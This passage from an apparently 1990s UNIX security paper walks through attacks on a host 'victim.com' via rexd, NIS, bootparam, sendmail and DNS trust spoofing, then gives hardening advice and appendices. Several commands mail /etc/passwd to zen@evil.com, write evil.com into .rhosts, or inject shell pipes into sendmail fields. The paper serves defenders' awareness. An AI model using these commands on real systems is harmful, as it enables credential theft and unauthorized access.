You note that the rpcinfo output also showed that victim.com runs rexd.
Like the rsh daemon, rexd processes requests of the form "please execute
this command as that user". Unlike rshd, however, rexd does not care if
the client host is in the hosts.equiv or .rhost files. Normally the rexd
client program is the "on" command, but it only takes a short C program
to send arbitrary client host and userid information to the rexd server;
rexd will happily execute the command. For these reasons, running rexd
is similar to having no passwords at all: all security is in the client,
not in the server where it should be. Rexd security can be improved
somewhat by using secure RPC.
----
While looking at the output from rpcinfo, you observe that victim.com
also seems to be a server for diskless workstations. This is evidenced
by the presence of the bootparam service, which provides information to
the diskless clients for booting. If you ask nicely, using
BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get
its NIS domainname. This can be very useful when combined with the fact
that you can get arbitrary NIS maps (such as the password file) when you
know the NIS domainname. Here is a sample code snippet to do just that
(bootparam is part of SATAN.)
char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */
/* initializations omitted... */
callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
printf("%s has nisdomain %s\n", server, res.domain_name);
The showmount output indicated that "easy" is a diskless client of
victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
query:
evil % bootparam victim.com easy.victim.com
victim.com has nisdomain foo_bar
----
NIS masters control the mail aliases for the NIS domain in question.
Just like local mail alias files, you can create a mail alias that will
execute commands when mail is sent to it (a once popular example of this
is the "decode" alias which uudecodes mail files sent to it.) For
instance, here you create an alias "foo", which mails the password file
back to evil.com by simply mailing any message to it:
nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com
Hopefully attackers won't have control of your NIS master host, but even
more hopefully the lesson is clear -- NIS is normally insecure, but if
an attacker has control of your NIS master, then s/he effectively has
control of the client hosts (e.g. can execute arbitrary commands).
There aren't many effective defenses against NIS attacks; it is an
insecure service that has almost no authentication between clients and
servers. To make things worse, it seems fairly clear that arbitrary
maps can be forced onto even master servers (e.g., it is possible to
treat an NIS server as a client). This, obviously, would subvert the
entire schema. If it is absolutely necessary to use NIS, choosing a
hard to guess domainname can help slightly, but if you run diskless
clients that are exposed to potential attackers then it is trivial for
an attacker to defeat this simple step by using the bootparam trick to
get the domainname. If NIS is used to propagate the password maps, then
shadow passwords do not give additional protection because the shadow
map is still accessible to any attacker that has root on an attacking
host. Better is to use NIS as little as possible, or to at least
realize that the maps can be subject to perusal by potentially hostile
forces.
Secure RPC goes a long way to diminish the threat, but it has its own
problems, primarily in that it is difficult to administer, but also in
that the cryptographic methods used within are not very strong. It has
been rumored that NIS+, Sun's new network information service, fixes
some of these problems, but until now it has been limited to running on
Suns, and thus far has not lived up to the promise of the design.
Finally, using packet filtering (at the very least port 111) or
securelib (see appendix D), or, for Suns, applying Sun patch 100482-02
all can help.
----
Next, you examine sendmail. Sendmail is a very complex program that has
a long history of security problems, including the infamous "wiz"
command (hopefully long since disabled on all machines). You can often
determine the OS, sometimes down to the version number, of the target,
by looking at the version number returned by sendmail. This, in turn,
can give you hints as to how vulnerable it might be to any of the
numerous bugs. In addition, you can see if they run the "decode" alias,
which has its own set of problems:
evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
Running the "decode" alias is a security risk -- it allows potential
attackers to overwrite any file that is writable by the owner of that
alias -- often daemon, but potentially any user. Consider this piece of
mail -- this will place "evil.com" in user zen's .rhosts file if it is
writable:
evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com
If no home directories are known or writable, an interesting variation
of this is to create a bogus /etc/aliases.pag file that contains an
alias with a command you wish to execute on your target. This may work
since on many systems the aliases.pag and aliases.dir files, which
control the system's mail aliases, are writable to the world.
evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
A lot of things can be found out by just asking sendmail if an address
is acceptable (vrfy), or what an address expands to (expn). When the
finger or rusers services are turned off, vrfy and expn can still be
used to identify user accounts or targets. Vrfy and expn can also be
used to find out if the user is piping mail through any program that
might be exploited (e.g. vacation, mail sorters, etc.). It can be a
good idea to disable the vrfy and expn commands: in most versions, look
at the source file srvrsmtp.c, and either delete or change the two lines
in the CmdTab structure that have the strings "vrfy" and "expn". Sites
without source can still disable expn and vrfy by just editing the
sendmail executable with a binary editor and replacing "vrfy" and "expn"
with blanks. Acquiring a recent version of sendmail (see Appendix D) is
also an extremely good idea, since there have probably been more
security bugs reported in sendmail than in any other UNIX program.
----
As a sendmail-sendoff, there are two fairly well known bugs that should
be checked into. The first was definitely fixed in version 5.59 from
Berkeley; despite the messages below, for versions of sendmail previous
to 5.59, the "evil.com" gets appended, despite the error messages, along
with all of the typical mail headers, to the file specified:
% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM
evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
evil % rlogin victim.com -l zen
Welcome to victim.com!
victim %
The second hole, fixed only recently, permitted anyone to specify
arbitrary shell commands and/or pathnames for the sender and/or
destination address. Attempts to keep details secret were in vain, and
extensive discussions in mailing lists and usenet news groups led to
disclosure of how to exploit some versions of the bug. As with many
UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem,
since they all share a common source code tree ancestry. Space
precludes us from discussing it fully, but a typical attack to get the
password file might look like this:
evil % telnet victim.com 25
Trying 128.128.128.1...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@evil.com < /etc/passwd"
250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %
At the time of writing, version 8.6.10 of sendmail (see Appendix D for
information on how to get this) is reportedly the only variant of
sendmail with all of the recent security bugs fixed.
Trust
-----
For our final topic of vulnerability, we'll digress from the practical
strategy we've followed previously to go a bit more into the theoretical
side, and briefly discuss the notion of trust. The issues and
implications of vulnerabilities here are a bit more subtle and
far-reaching than what we've covered before; in the context of this
paper we use the word trust whenever there is a situation when a server
(note that any host that allows remote access can be called a server)
can permit a local resource to be used by a client without password
authentication when password authentication is normally required. In
other words, we arbitrarily limit the discussion to clients in disguise.
There are many ways that a host can trust: .rhosts and hosts.equiv files
that allow access without password verification; window servers that
allow remote systems to use and abuse privileges; export files that
control access via NFS, and more.
Nearly all of these rely on client IP address to hostname conversion to
determine whether or not service is to be granted. The simplest method
uses the /etc/hosts file for a direct lookup. However, today most hosts
use either DNS (the Domain Name Service), NIS, or both for name lookup
service. A reverse lookup occurs when a server has an IP address (from
a client host connecting to it) and wishes to get the corresponding
client hostname.
Although the concept of how host trust works is well understood by most
system administrators, the _dangers_ of trust, and the _practical_
problem it represents, irrespective of hostname impersonation, is one of
the least understood problems we know of on the Internet. This goes far
beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing
systems -- indeed, much of the useful services in UNIX are based on the
concept that well known (to an administrator or user) sites are trusted
in some way. What is not understood is how networking so tightly binds
security between what are normally considered disjoint hosts.
Any form of trust can be spoofed, fooled, or subverted, especially when
the authority that gets queried to check the credentials of the client
is either outside of the server's administrative domain, or when the
trust mechanism is based on something that has a weak form of
authentication; both are usually the case.
Obviously, if the host containing the database (either NIS, DNS, or
whatever) has been compromised, the intruder can convince the target
host that s/he is coming from any trusted host; it is now sufficient to
find out which hosts are trusted by the target. This task is often
greatly helped by examining where system administrators and system
accounts (such as root, etc.) last logged in from. Going back to our
target, victim.com, you note that root and some other system accounts
logged in from big.victim.com. You change the PTR record for evil.com so
that when you attempt to rlogin in from evil.com to victim.com,
victim.com will attempt to look up your hostname and will find what you
placed in the record. If the record in the DNS database looks like:
1.192.192.192.in-addr.arpa IN PTR evil.com
And you change it to:
1.192.192.192.in-addr.arpa IN PTR big.victim.com
then, depending on how naive victim.com's system software is, victim.com
will believe the login comes from big.victim.com, and, assuming that
big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be
able to login without supplying a password. With NIS, it is a simple
matter of either editing the host database on the NIS master (if this is
controlled by the intruder) or of spoofing or forcing NIS (see
discussion on NIS security above) to supply the target with whatever
information you desire. Although more complex, interesting, and
damaging attacks can be mounted via DNS, time and space don't allow
coverage of these methods here.
Two methods can be used to prevent such attacks. The first is the most
direct, but perhaps the most impractical. If your site doesn't use any
trust, you won't be as vulnerable to host spoofing. The other strategy
is to use cryptographic protocols. Using the secure RPC protocol (used
in secure NFS, NIS+, etc.) is one method; although it has been "broken"
cryptographically, it still provides better assurance than RPC
authentication schemes that do not use any form of encryption. Other
solutions, both hardware (smartcards) and software (Kerberos), are being
developed, but they are either incomplete or require changes to system
software.
Appendix B details the results of an informal survey taken from a
variety of hosts on the Internet.
Protecting the system
---------------------
It is our hope that we have demonstrated that even some of the most
seemingly innocuous services run can offer (sometimes unexpectedly)
ammunition to determined system crackers. But, of course, if security
were all that mattered, computers would never be turned on, let alone
hooked into a network with literally millions of potential intruders.
Rather than reiterating specific advice on what to switch on or off, we
instead offer some general suggestions:
o If you cannot turn off the finger service, consider installing a
modified finger daemon. It is rarely necessary to reveal a user's home
directory and the source of last login.
o Don't run NIS unless it's absolutely necessary. Use NFS as little
as possible.
o Never export NFS filesystems unrestricted to the world. Try to
export file systems read-only where possible.
o Fortify and protect servers (e.g. hosts that provide a service to
other hosts -- NFS, NIS, DNS, whatever.) Only allow administrative
accounts on these hosts.
o Examine carefully services offered by inetd and the portmapper.
Eliminate any that aren't explicitly needed. Use Wietse Venema's inetd
wrappers, if for no other reason than to log the sources of connections
to your host. This adds immeasurably to the standard UNIX auditing
features, especially with respect to network attacks. If possible, use
the loghost mechanism of syslog to collect security-related information
on a secure host.
o Eliminate trust unless there is an absolute need for it. Trust is
your enemy.
o Use shadow passwords and a passwd command that disallows poor
passwords. Disable or delete unused/dormant system or user accounts.
o Keep abreast of current literature (see our suggested reading list and
bibliography at the end of this paper) and security tools; communicate
to others about security problems and incidents. At minimum, subscribe
to the CERT mailing list and phrack magazine (plus the firewalls mailing
list, if your site is using or thinking about installing a firewall) and
read the usenet security newsgroups to get the latest information on
security problems. Ignorance is the deadliest security problem we are
aware of.
o Install all vendor security patches as soon as possible, on all of
your hosts. Examine security patch information for other vendors - many
bugs (rdist, sendmail) are common to many UNIX variants.
It is interesting to note that common solutions to security problems
such as running Kerberos or using one-time passwords or digital tokens
are ineffective against most of the attacks we discuss here. We
heartily recommend the use of such systems, but be aware that they are
_not_ a total security solution -- they are part of a larger struggle to
defend your system.
Conclusions
-----------
Perhaps none of the methods shown here are surprising; when writing this
paper, we didn't learn very much about how to break into systems. What
we _did_ learn was, while testing these methods out on our own systems
and that of friendly sites, just how effective this set of methods is
for gaining access to a typical (UNIX) Internet host. Tiring of trying
to type these in all by hand, and desiring to keep our own systems more
secure, we decided to implement a security tool (SATAN) that attempts to
check remote hosts for at least some of the problems discussed here.
The typical response, when telling people about our paper and our tool
was something on the order of "that sounds pretty dangerous -- I hope
you're not going to give it out to everybody. But you since you can
trust me, may I have a copy of it?"
We never set out to create a cookbook or toolkit of methods and programs
on how to break into systems -- instead, we saw that these same methods
were being used, every day, against ourselves and against friendly
system administrators. We believe that by propagating information that
normally wasn't available to those outside of the underworld, we can
increase security by raising awareness. Trying to restrict access to
"dangerous" security information has never seemed to be a very effective
method for increasing security; indeed, the opposite appears to be the
case, since the system crackers have shown little reticence to share
their information with each other.
While it is almost certain that some of the information presented here
is new material to (aspiring) system crackers, and that some will use it
to gain unauthorized entrance onto hosts, the evidence presented even by
our ad hoc tests shows that there is a much larger number of insecure
sites, simply because the system administrators don't know any better --
they aren't stupid or slow, they simply are unable to spend the very
little free time that they have to explore all of the security issues
that pertain to their systems. Combine that with no easy access to this
sort of information and you have poorly defended systems. We (modestly)
hope that this paper will provide badly-needed data on how systems are
broken into, and further, to explain _why_ certain steps should be taken
to secure a system. Knowing why something is a problem is, in our
opinion, the real key to learning and to making an informed, intelligent
choice as to what security really means for your site.
----
Appendix A:
SATAN (Security Analysis Tool for Auditing Networks)
Originally conceived some years ago, SATAN is actually the prototype of
a much larger and more comprehensive vision of a security tool. In its
current incarnation, SATAN remotely probes and reports various bugs and
weaknesses in network services and windowing systems, as well as
detailing as much generally useful information as possible about the
target(s). It then processes the data with a crude filter and what
might be termed an expert system to generate the final security
analysis. While not particularly fast, it is extremely modular and easy
to modify.
SATAN consists of several sub-programs, each of which is an executable
file (perl, shell, compiled C binary, whatever) that tests a host for a
given potential weakness. Adding further test programs is as simple as
putting an executable into the main directory with the extension ".satan";
the driver program will automatically execute it. The driver generates
a set of targets (using DNS and a fast version of ping together to get
"live" targets), and then executes each of the programs over each of the
targets. A data filtering/interpreting program then analyzes the
output, and lastly a reporting program digests everything into a more
readable format.
The entire package, including source code and documentation, has been
made freely available to the public, via anonymous ftp and by posting it
to one of the numerous source code groups on the Usenet.
----
Appendix B:
An informal survey conducted on about a dozen Internet sites
(educational, military, and commercial, with over 200 hosts and 40000
accounts) revealed that on the average, close to 10 percent of a site's
accounts had .rhosts files. These files averaged six trusted hosts
each; however, it was not uncommon to have well over one hundred entries
in an account's .rhosts file, and on a few occasions, the number was
over five hundred! (This is not a record one should be proud of
owning.) In addition, _every_ site directly on the internet (one site
was mostly behind a firewall) trusted a user or host at another site --
thus, the security of the site was not under the system administrators
direct control. The larger sites, with more users and hosts, had a
lower percentage of users with .rhosts files, but the size of .rhosts
files increased, as well as the number of trusted off-site hosts.
Although it was very difficult to verify how many of the entries were
valid, with such hostnames such as "Makefile", "Message-Id:", and
"^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we
question the wisdom of putting a site's security in the hands of its
users. Many users (especially the ones with larger .rhosts files)
attempted to put shell-style comments in their .rhosts files, which most
UNIX systems attempt to resolve as valid host names. Unfortunately, an
attacker can then use the DNS and NIS hostname spoofing techniques
discussed earlier to set their hostname to "#" and freely log in. This
puts a great many sites at risk (at least one major vendor ships their
systems with comments in their /etc/hosts.equiv files.)
You might think that these sites were not typical, and, as a matter of
fact, they weren't. Virtually all of the administrators knew a great
deal about security and write security programs for a hobby or
profession, and many of the sites that they worked for did either
security research or created security products. We can only guess at
what a "typical" site might look like.
----
Appendix C:
After receiving mail from a site that had been broken into from one of
our systems, an investigation was started. In time, we found that the
intruder was working from a list of ".com" (commercial) sites, looking
for hosts with easy-to steal password files. In this case,
"easy-to-steal" referred to sites with a guessable NIS domainname and an
accessible NIS server. Not knowing how far the intruder had gotten, it
looked like a good idea to warn the sites that were in fact vulnerable
to password file theft. Of the 656 hosts in the intruder's hit list, 24
had easy-to-steal password files -- about one in twenty-five hosts! One
third of these files contained at least one password-less account with
an interactive shell. With a grand total of 1594 password-file entries,
a ten-minute run of a publically-available password cracker (Crack)
revealed more than 50 passwords, using nothing but a low-end Sun
workstation. Another 40 passwords were found within the next 20
minutes; and a root password was found in just over an hour. The result
after a few days of cracking: five root passwords found, 19 out of 24
password files (eighty percent) with at least one known password, and
259 of 1594 (one in six) passwords guessed.
----
Appendix D:
How to get some free security resources on the Internet
Mailing lists:
o The CERT (Computer Emergency Response Team) advisory mailing list.
Send e-mail to cert@cert.org, and ask to be placed on their mailing
list.
o The Phrack newsletter. Send an e-mail message to
phrack@well.sf.ca.us and ask to be added to the list.
o The Firewalls mailing list. Send the following line to
majordomo@greatcircle.com:
subscribe firewalls
o Computer Underground Digest. Send e-mail to
tk0jut2@mvs.cso.niu.edu, asking to be placed on the list.
Free Software:
COPS (Computer Oracle and Password System) is available via anonymous
ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+.
The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl,
in pub/security.
Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28.
TAMU is a UNIX auditing tool that is part of a larger suite of excellent
tools put out by a group at the Texas A&M University. They can be
gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.
Sources for ftpd and many other network utilities can be found in
ftp.uu.net, in packages/bsd-sources.
Source for ISS (Internet Security Scanner), a tool that remotely scans
for various network vulnerabilities, is available via anonymous ftp from
ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.
Securelib is available via anonymous ftp from ftp.uu.net, in
usenet/comp.sources.misc/volume36/securelib.
The latest version of berkeley sendmail is available via anonymous ftp
from ftp.cs.berkeley.edu, in ucb/sendmail.
Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.
----
Bibliography:
Baldwin, Robert W., Rule Based Analysis of Computer Security,
Massachusetts Institute of Technology, June 1987.
Bellovin, Steve, Using the Domain Name System for System Break-ins,
1992 (unpublished).
Massachusetts Institute of Technology, X Window System Protocol,
Version 11, 1990.
Shimomura, Tsutomu, private communication.
Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
----
Suggested reading:
Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite",
Computer Communication Review 19 (2), 1989; a comment by Stephen
Kent appears in volume 19 (3), 1989.
Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security",
O'Reilly and Associates, Inc., 1992.
Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol
Study: Network Information Service", Computer Communication Review
22 (5) 1992.
Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume
Four, Issue Forty-Three, File 14 of 27.
Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept
1993.
Schuba, Christoph, "Addressing Weaknesses in the Domain Name System
Protocal", Purdue University, August 1993.
Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM
27 (8), 1984.